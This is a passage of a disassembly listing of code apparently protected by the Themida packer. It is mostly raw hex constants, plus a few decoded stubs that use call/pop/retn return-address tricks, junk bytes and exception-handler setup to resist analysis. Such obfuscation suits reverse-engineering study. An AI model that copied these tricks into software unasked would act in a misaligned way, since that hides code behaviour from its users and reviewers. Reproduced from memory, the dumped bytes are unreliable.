8104247Ch, 1D042444h, 47000000h, 4768C357h, 0C3D84C61h dd 891A609h, 14E95951h, 47000000h, 23803EBEh, 361C89B7h dd 0B882B891h, 908A751Dh, 89194A15h, 50006A1Ah, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0DAE9E6A8h dd 16C4C85Dh, 4289D6FEh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 82E10356h, 0A1952907h dd 8D061424h, 1409D595h, 0C4F18106h, 8932E25Dh, 55006A1Ah dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 87D89017h, 428910F6h, 0C5E904h, 0DE810000h, 286F7091h ; =============== S U B R O U T I N E ======================================= sub_5C1110 proc near ; CODE XREF: Themida_:005C07ABp ; Themida_:005C07DEp push 0 push 0 push eax call sub_5C111D and [eax-3Dh], bl sub_5C1110 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C111D proc near ; CODE XREF: sub_5C1110+5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5C111D endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 58C7h dd 89601D85h, 142AF19Dh, 0F88B6606h, 9E8006Ah, 3C000000h dd 72066A87h, 956ECF2Ch, 1F11B58Bh, 6A590614h, 29BD8B00h dd 6A061412h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 753A6BB9h, 0B1197E41h, 7195FFEDh dd 6A061409h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0A075C355h, 0BB81C1AFh, 0AACED18Dh dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 6B45F06h, 8AF93914h, 51006AC5h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 7C64CCFBh dd 7798D8Bh, 0BD2B0614h, 614031Dh, 14E9C08Bh, 79000000h dd 8BE9A93Eh, 0C345F106h, 74AF2D24h, 0CA4EFE3Eh, 83F40132h dd 1410F1BDh, 9750006h, 0E25BD83h, 74000614h, 8B535019h dd 438B8C0h, 85890000h, 61424F1h, 0A7B99D8Dh, 0D3FF0616h dd 0BD83585Bh, 6140E25h, 50177400h, 438B853h, 85890000h dd 61424F1h, 0A45A9D8Dh, 0D3FF0616h, 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 99854CC3h dd 0B5892E98h, 61411A1h, 19C9BD8Bh, 66600614h, 0E9B3CAB9h dd 0Eh, 0F1C57586h, 8C385D4Ah, 0D8E3F668h, 8B618160h, 91858DC0h dd 8B061407h, 0BE850D9h, 0E0000000h, 0C89BB23Eh, 3E0D4142h dd 8A0FC2D5h, 0 ; --------------------------------------------------------------------------- pop ebx mov [esp], eax jmp loc_5C12DD ; --------------------------------------------------------------------------- db 0E1h, 7Eh, 0B9h dd 6F154FB7h, 0FA5B4B54h db 8Bh ; --------------------------------------------------------------------------- loc_5C12DD: ; CODE XREF: Themida_:005C12CCj push 0 push 0 push esi call sub_5C12EA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C12EA proc near ; CODE XREF: Themida_:005C12E2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5C12EA endp ; --------------------------------------------------------------------------- dw 9AF3h dd 60DEB088h, 38D0Fh, 0BF0F0000h, 0F59D01FEh, 6106141Fh dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0F837E3C3h, 0FAF0B3D3h, 8B5CA552h, 140F959Dh dd 3D9D8B06h, 8D06142Bh, 18393985h, 0FAB70F06h, 83FBB70Fh dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 886966C3h, 124D8529h, 8B660614h, 800F50F8h dd 5, 914FC3BBh, 2404894Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 13C35040h, 733905BFh, 0F88B006Ah, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 6FF232C3h, 0F800F2Bh, 0E9000000h, 0Ah, 244A0E57h, 0A6D57A0Ah dd 0BB66D195h, 95FF2D29h, 6141B19h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 8DC35040h, 788D8DBBh, 6A0617A7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0C6ABC353h, 6AD1FFEFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FC23C355h dd 0D3D87CFEh, 483E3613h, 1A899589h, 0BD830614h, 61401CDh dd 6E850F01h, 89000000h, 1416D995h, 6A026A06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 11B9C353h, 0C84370Fh, 0A59D03CAh, 90061430h, 0D9BF6652h dd 0F505BEBh, 0B8Ah, 0BB525000h, 2CE425A3h, 585A310Fh dd 71958990h, 0FF06142Eh, 1433AD95h, 13E906h, 13F20000h dd 0A79DCB87h, 950B6D39h, 0A29551E4h, 0C3C64727h, 0DB4E95Fh dd 0E80000h, 5D000000h, 3943ED81h, 6A0618h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 13ED46C3h dd 8D01C768h, 6140E0Dh, 8E8h, 8160D800h, 0B2AFFB24h, 698D0922h dd 5B06141Bh, 8E49858Dh, 9D8B0617h, 6140CD1h, 93BB6690h dd 64905095h, 35FFh, 0BF0F0000h, 258964DBh, 0 ; --------------------------------------------------------------------------- mov [ebp+6140495h], esi inc dword ptr [ebp+6142DEDh] push 0 push ebp call sub_5C155B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C155B proc near ; CODE XREF: Themida_:005C1553p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C155B endp ; --------------------------------------------------------------------------- push cs xchg eax, esp push 0FFFFFFFFh and bx, 0DA12h push dword ptr [ebp+6140ECDh] push 0 push edi call sub_5C1585 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1585 proc near ; CODE XREF: Themida_:005C157Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5C1585 endp ; --------------------------------------------------------------------------- db 28h, 61h, 0EFh dd 139038D1h, 5850Fh, 0F0BF0000h, 0FF584F78h, 142A8995h dd 127E906h, 9D230000h, 6140AF5h, 6830Fh, 0BD8B0000h, 61408A1h dd 9D0100B0h, 614087Dh, 9D0B70E6h, 61402FDh, 613C71E4h dd 0FB830Fh, 0FEB30000h, 29C8B60Fh, 1406858Dh, 6BA06h dd 11E90000h, 0CF000000h, 0FF159F7Eh, 0C0EDB50Fh, 85A17723h dd 6B829D9Ch, 0B753C18Bh, 0E8C15BF2h, 6619B704h, 8F0FE2F7h dd 3, 2BFFB70Fh, 5DBD0BC8h, 8B061420h, 0BF0F53D1h, 0CBBF5FDFh dd 0E951B3CDh, 2, 858BF88Bh, 6141301h, 5E9h, 0E39F1C00h dd 0C0835493h, 81666007h, 0F9AB27E7h, 0C08361h, 3B3CDB80h dd 11830FD0h, 8B000000h, 142B759Dh, 6FE906h, 0BD8B0000h dd 6141E81h, 10C58D8Bh, 840F0614h, 6, 0D0DBD03h, 81660614h dd 83BAECDFh, 840F01E1h, 49h, 5E9h, 386E4800h, 0A5839687h dd 61410C5h, 896060FEh, 140EED95h, 800F06h, 61000000h dd 0D357BA66h, 1958961h, 0E9061413h, 14h, 0F90882E8h, 0D2E04AE2h dd 8E19A5D1h, 0F39B5B8Ah, 0B35DA7B1h, 0E9h, 0ECB58D00h dd 6A0617BEh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0F49FC351h, 14DBB6F9h, 0D98B0E7Ch dd 9D2B006Ah, 6141C51h, 297195FFh, 89600614h, 14259D85h dd 0CBBF0F06h, 6ECB961h, 9D8B0000h, 61423D5h, 6AFCE183h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 5A63C353h, 0F3815040h, 7003F211h, 6AFC5Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 606DEEC3h, 5E957h, 0B8D60000h, 5A2B7811h, 6181C080h dd 2157BF66h, 0EBB3C02Bh, 0DF81D22Bh, 15743132h, 0DFBF0F56h dd 0C233AD5Fh, 0D003E8D1h, 7504E983h, 11E9F4h, 52B00000h dd 0B4E01C53h, 0C41B24A1h, 0D30466BBh, 6A21109Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 6B1CC352h, 0F4AA85FFh, 8B9CE39Ah, 141021BDh, 81BD8906h dd 0D06142Eh, 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 30C35747h, 4BF6693h, 69958BF4h, 6A06142Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 2287C356h, 0EF47EA2h, 558D8BC9h, 6A061410h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 603DC353h, 0CAC985FCh, 89F9BF0Fh, 141985BDh dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 122AC353h, 0E55827EDh, 0ACEB8172h, 8B209846h dd 4DBD83DFh, 6140Fh, 70840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 28637CC3h dd 151CD69Ch, 0B8F5BEh, 8A000000h, 0FF8D8DF9h, 0E906144Dh dd 14h, 0C3FC76B9h, 208762CDh, 0E68748BFh, 0D7450D1Eh dd 9649183Ch, 1FED8D89h, 0E1FF0614h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 81C35545h, 0BD836C6Ch, 614013Dh dd 7F840F00h, 8B000004h, 1415219Dh, 3DBD8306h, 1061401h dd 487840Fh, 0AE80000h, 0FE000000h, 0E6D53ACBh, 14D4E07Ch dd 5FB0B7E7h, 13DBD83h, 0F030614h, 43286h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 4B6A8AE7h, 0BD094721h, 61409BDh, 56006A60h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0CD5292D8h dd 96123D9Bh, 3015BD89h, 8C660614h, 3820FD9h, 66000000h dd 0E180D98Bh, 0F9BF0F04h, 840FC90Ah, 148h, 8BD5C780h dd 140E3585h, 2DBD3306h, 3306140Ah, 1406A985h, 55BD2306h dd 90061404h, 4860Fh, 0BF660000h, 505031D5h, 0D98B6652h dd 0B060310Fh, 0EE86Ah, 0BA660000h, 2F3AE590h, 38D80B4Ah dd 804BAB41h, 585A615Fh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 111CB279h, 0D5F41BF4h dd 6AFCC5B0h, 870F5000h, 5, 89F38166h, 68685BF6h, 8132A05Fh dd 5C972434h, 6A32BFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 178970C3h, 0D5FF3BDAh, 870FB009h dd 6, 1FDD9D0Bh, 95FF0614h, 614089Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 55C35040h, 89659836h, 142E5D85h dd 11E906h, 57520000h, 73C01D25h, 0BFFB94F6h, 5BBC477Dh dd 89EB8D05h, 17A7EA85h, 0CE906h, 0D0F0000h, 0D0FF502Ch dd 61D1D69Bh, 0DF8153B6h, 247F2863h, 1FFE9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 9C8447D5h, 0DC5C6752h, 9D03906Dh, 6140E21h, 0A7E2858Bh dd 81660617h, 0C7F2CEDBh, 1800h, 12840F00h, 0E9000000h dd 0Dh, 411F2133h, 13396540h, 63341B34h, 0E6B58BE0h, 6A0617A7h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 24FBC352h, 858B46E5h, 6140281h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 5DC35040h, 689B90Ah dd 6398D89h, 33B30614h, 0E35858Bh, 6A0614h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5746E0C3h dd 6117D679h, 8B044689h, 1416099Dh, 60609606h, 11E8h, 0C9D8A200h dd 4F41F427h, 9A16C87Fh, 332F59DDh, 0E85AEF5Eh, 7, 268DCECAh dd 59AD062Fh, 2820F61h, 56000000h, 5650615Fh, 0AE8h, 69995400h dd 91572E89h, 6640906Fh, 5B5BD88Bh, 2DBD2B96h, 80061430h dd 0B5FF0CDFh, 617A7E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0E1C35646h, 0ED21BBA6h, 4E83F9Dh, 0FF000000h dd 66001F03h, 0F50FE8Bh, 81h, 24448B00h, 0BB008B04h, 42B45AFCh dd 4244489h, 9E9h, 55B9FC00h, 0F7AA0652h, 6A58266Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0F99FC351h, 8DFBB70Fh, 17A7EA85h, 0F5B52906h, 9006141Bh dd 0E8B0F50h, 50000000h, 0F525052h, 0F585A31h, 5A2AB731h dd 9D8B9058h, 61418B1h, 9D95FFFCh, 6A061408h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 1232C357h, 0F245A645h, 1159D8Bh, 9D290614h, 6140D9Dh dd 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 43A69B40h, 68F0Fh, 9D8B0000h, 6141B3Dh dd 77EF8166h, 3D85C747h, 3061401h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 7557C351h, 57718A5Ch, 1D9D89FAh, 0E806142Ch, 0Ch, 985B91ABh dd 0FBFA2B50h, 0C38BD495h, 5840Fh, 64BF0000h, 5F24D338h dd 0A7EABD83h, 0F000617h, 1E84h, 0D1BD8B00h, 0E9061407h dd 2Eh, 0EE9h, 2DBDDA00h, 0AF79EEh, 0E1B9301Bh, 50258F58h dd 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 8166C08Bh, 6ACCABCBh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 449AC350h, 0E346642Eh, 52586EA8h, 7E15C781h dd 6660749Ah, 0DD8AF28Bh, 3DBD8361h, 3061401h, 437850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 4605CAC3h, 60951262h, 419503h, 95890614h dd 61418C1h, 0E1BD8B61h, 8306141Fh, 17A7EABDh, 840F0006h dd 3F5h, 0B5FF5B57h, 617A7EAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 35C35040h, 0B4923275h, 8146F76Bh dd 1432DADFh, 3995FF66h, 8A061403h, 0DEB58BDCh, 0F0617A7h dd 1086h, 6E86000h, 79000000h, 85388CE8h, 61605B3Dh, 0DD8D2961h dd 0C706141Bh, 1000106h, 96D98B00h, 8E0F6050h, 0 ; --------------------------------------------------------------------------- popa xchg eax, esi add [ebp+6141FBDh], eax push dword ptr [ebp+617A7EAh] jmp loc_5C1EED ; --------------------------------------------------------------------------- inc eax add eax, 42F9A804h loc_5C1EED: ; CODE XREF: Themida_:005C1EE2j call dword ptr [ebp+6141081h] mov [ebp+6140B51h], eax mov esi, [ebp+617A7DEh] sub bx, 6B7Fh mov eax, [ebp+6140FF9h] adc edi, 2A5FDB1Dh mov [esi+0C4h], eax push 0 push eax call sub_5C1F21 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1F21 proc near ; CODE XREF: Themida_:005C1F19p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5C1F21 endp ; --------------------------------------------------------------------------- mov ebp, 0CB6EAD0Bh retf 880Fh ; --------------------------------------------------------------------------- dw 6 dd 9D0B0000h, 6140E21h, 2B69958Bh, 0FE80614h, 0B3000000h dd 0BED8E139h, 925C1DC9h, 7B541F0Eh, 89604749h, 14051195h dd 65852B06h, 61061430h, 4C2835Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 75C35545h, 10E9h, 0B7EB3E00h dd 383F2EE1h, 0D0DBB27Eh, 2BEF9BE7h, 2050893Bh, 23858DF5h dd 6A0617BCh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 383FC351h, 0D9D337Eh, 8906141Dh dd 0B886h, 4D852900h, 6A061406h, 14E800h, 0D4230000h, 57B0D7A9h dd 442F54B3h, 0F1EF81ADh, 714B9ACCh, 0BB661B26h, 0FF5FB96Fh dd 17A7EAB5h, 0FDBD8B06h, 0FF06141Bh, 1433AD95h, 899D8B06h dd 96061413h, 28D0F60h, 60000000h, 890F5661h, 0 dd 5050615Bh, 0F60B752h, 5AFE8B31h, 6A9658h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 889955C3h dd 1059B589h, 9D8B0614h, 6141FB1h, 0A7EAB5FFh, 85890617h dd 614318Dh, 0FFFFBF0Fh, 14230995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 3D0CAD91h dd 0BD0BA0ADh, 6143039h, 89BD83F8h, 61411h, 9F840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 2AD8BDC3h, 0F69A399Ah, 18860F2Dh, 0F000000h, 1282h dd 0DE900h, 0A7C90000h, 87A51FA5h, 0A839F8BDh, 96C29CD4h dd 50D98B66h, 10E9h, 0FF337E00h, 0C89AB39Dh, 0FEC5A0ABh dd 230F5D8Bh, 6A96F4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 755FCDC3h, 850FABD4h, 0Dh, 0E6816660h dd 85899F6Eh, 6142A69h, 0A830F61h, 60000000h, 0BB23E680h dd 6CA68D6Dh, 0EAB5FF61h, 6A0617A7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0C894C355h dd 1F759529h, 95FF0614h, 61402D5h, 6D38166h, 13E97Ah, 0CF560000h dd 0F80DA368h, 961FA69h, 0DED75744h, 0D37257B9h, 0EAB5FFCDh dd 6A0617A7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0FF0C356h, 0E82DDC1Ch, 13h, 0D7AF8643h dd 20A487A6h, 0F69365F2h, 905406F4h, 0BFF1437Fh, 8E5ABA1h dd 73EF815Bh, 0FF2E930Ah, 140B7595h, 0ADBD0306h, 8306140Dh dd 14112DBDh, 840F0206h, 36h, 1389BD01h, 858B0614h, 6140055h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8AC35343h dd 845BDD3Ch, 0C6894CE0h, 0BF660000h, 85C76614h, 6141E49h dd 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5C223F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C223F proc near ; CODE XREF: Themida_:005C2237p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5C223F endp ; --------------------------------------------------------------------------- db 0D0h dd 0D398761h, 81F7AF26h, 1DF6A5D7h, 0F30BE930h, 8D89FFFFh dd 6140FFDh, 0A69BD29h, 0C18B0614h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0FAC35646h, 858DCE3Ah, 6140791h dd 11198D89h, 66500614h, 489F88Bh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 6AA66087h dd 6ADE8B00h, 8DC8B700h, 1848BC85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 85010D9Bh dd 6142595h, 0A79BD8Bh, 0C0830614h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0EF8166C9h dd 5390E7B4h, 8D0F5250h, 0 dd 585A310Fh, 6A90505Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 5676C351h, 70B07A77h dd 80F9C0Fh, 7099D8Bh, 6A0614h, 2850Fh, 0F98B0000h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 117FEEC3h, 0BF26D115h, 5EEC2B99h, 1B1995FFh, 95BF0614h dd 8D1391AFh, 17A7788Dh, 6AD1FF06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 538BC352h dd 8B7DDFA7h, 141A359Dh, 0CDBD8306h, 1061401h, 8A850Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 4DD27C3h, 6F59589h, 26A0614h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 83C35747h, 0C9BB6663h dd 0BB575003h, 77EC3B61h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 6DC35646h, 810F0CDCh, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+61433ADh] jz loc_5C2458 push edi mov [ebp+6140BD5h], ecx pop edi loc_5C2458: ; CODE XREF: Themida_:005C244Aj jmp loc_5C327E ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 61848C6h mov bx, 0CDA1h push 0 push edx call sub_5C2478 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2478 proc near ; CODE XREF: Themida_:005C2470p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5C2478 endp ; --------------------------------------------------------------------------- dd 0F21FFE7h, 68Eh, 0C4C38100h, 8D3013AAh, 178E4985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 9F280C22h, 60603F1Fh, 810Fh, 0BF0F0000h, 0D78B61DEh dd 0E9FC6061h, 8, 0CAB5DA51h, 7E3D0FF7h, 8A0F5061h, 4 dd 0FCF6BB66h, 0E8240489h, 0Ah, 55F710h, 97C62341h, 6E9C29Eh dd 2C000000h, 25C0DF14h, 0FF645B90h, 35h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 6FC8BE49h, 0A011B041h, 0BA6660EBh, 13E85AA4h, 8B000000h dd 60E5161Dh, 82B194D4h, 0AE4D6EB7h, 0E4AEB742h, 81663AB0h dd 59D4BBE1h, 25896461h, 0 ; --------------------------------------------------------------------------- call sub_5C2568 xchg edx, [eax] mov ecx, 1F534381h ; =============== S U B R O U T I N E ======================================= sub_5C2568 proc near ; CODE XREF: Themida_:005C255Cp mov edi, [ebp+6141269h] pop ebx mov di, bx inc dword ptr [ebp+6142DEDh] push 0 push edx call sub_5C2583 and [edx-3Dh], bl sub_5C2568 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C2583 proc near ; CODE XREF: sub_5C2568+13p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5C2583 endp ; --------------------------------------------------------------------------- sub ebp, [ecx-77h] xchg eax, ebp adc eax, 50061412h jmp loc_5C25B2 ; --------------------------------------------------------------------------- db 0E1h, 0A5h, 0E9h dd 0AAAD4FDFh, 0ACAECF6Ch, 4892FEBAh db 80h, 0CDh ; --------------------------------------------------------------------------- loc_5C25B2: ; CODE XREF: Themida_:005C259Cj pop ebx push 0FFFFFFFFh jmp loc_5C25C0 ; --------------------------------------------------------------------------- dw 7D35h dd 6DA78135h ; --------------------------------------------------------------------------- loc_5C25C0: ; CODE XREF: Themida_:005C25B5j mov bx, si push dword ptr [ebp+6142665h] push 0 push ecx call sub_5C25D4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C25D4 proc near ; CODE XREF: Themida_:005C25CCp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5C25D4 endp ; --------------------------------------------------------------------------- dd 468172ADh, 65D11226h, 8B66DCF0h, 8995FFDEh, 0E906142Ah dd 0F9h, 23F5BD8Bh, 0B00614h, 12E9h, 448B7700h, 7BA8E6F9h dd 0B13B44BDh, 3188D11Fh, 0E61E6BFDh, 0D98D8970h, 0E406141Eh dd 0E3816671h, 8B66D1C1h, 0F613CFAh, 0C083h, 1D8D8900h dd 0F061430h, 6E9C8B6h, 0B000000h, 29C55D59h, 0FFB70FF5h dd 6BAh, 21BD8B00h, 8B06141Fh, 0B3BF66C1h, 4E8C1C3h, 66D8BF0Fh dd 0DA8BE2F7h, 0B589C82Bh, 6140A4Dh, 1CE99D8Bh, 0D18B0614h dd 6E9FC8Ah, 8B000000h, 142D39BDh, 65858B06h, 8B061406h dd 1433A5BDh, 7C08306h, 83FEB70Fh, 9D8B00C0h, 6140BDDh dd 830FD03Bh, 11h, 25DDBD01h, 42E90614h, 8B000000h, 14071DBDh dd 258D8B06h, 1061431h, 140D2D9Dh, 1E18306h, 27840Fh, 2DB70000h dd 3125A583h, 8BFE0614h, 14267DBDh, 65958906h, 60061406h dd 256D8D31h, 1EBB0614h, 615AC6EAh, 0E9h, 9DB58D00h, 660617C7h dd 6A920CBBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 14F18769h, 13619D01h, 95FF0614h dd 6142971h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 23C35242h, 6F34B768h, 0B98650BDh, 0E52h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EAC35646h, 2BD75A78h dd 0E19BD2Bh, 0E1830614h, 0F38166FCh, 6AFCDECDh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0B14AC355h, 189F4B78h, 0C02B0B52h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 55C35040h, 0F4E6DD69h, 0A843E8B6h dd 3481B529h, 0BA0614h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0B078C352h dd 0F947E6EEh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 4BC35242h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 68488ADDh, 1EE4BCA2h, 81667523h, 0D712EDFh, 88h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E5C35343h, 0D4D2F5FAh dd 8722CA5Eh, 2B69958Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 29A3A4C3h, 8D8BF10Bh dd 6141055h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0F9C35747h, 748BC744h, 0BD33798Ah, 6142AADh, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3B6877C3h dd 817C3DD5h, 2D79BD8Bh, 8B660614h, 4DBD83DEh, 6140Fh dd 6A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0B8EFC0C3h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5C293F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C293F proc near ; CODE XREF: Themida_:005C2937p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5C293F endp ; --------------------------------------------------------------------------- db 0B2h ; --------------------------------------------------------------------------- jmp short loc_5C299D ; --------------------------------------------------------------------------- dw 0F40h dd 0EB1C8CECh, 6800Fh, 0B5890000h, 6140FF5h, 4DFF8D8Dh dd 0F2B70614h, 810FE1FFh, 8, 2890Fh, 0DE8B0000h, 13DBD83h dd 0F000614h, 37484h, 0DF8B6600h, 13DBD83h, 0F010614h dd 37F84h, 55006A00h db 0E8h ; --------------------------------------------------------------------------- loc_5C299D: ; CODE XREF: Themida_:005C2950j add eax, [eax] ; --------------------------------------------------------------------------- db 0 dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0E59D035Ch, 83061406h, 14013DBDh, 860F0306h, 31Ah, 28D8509h dd 6A600614h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0CA02C357h, 8B1336DEh, 59B58990h dd 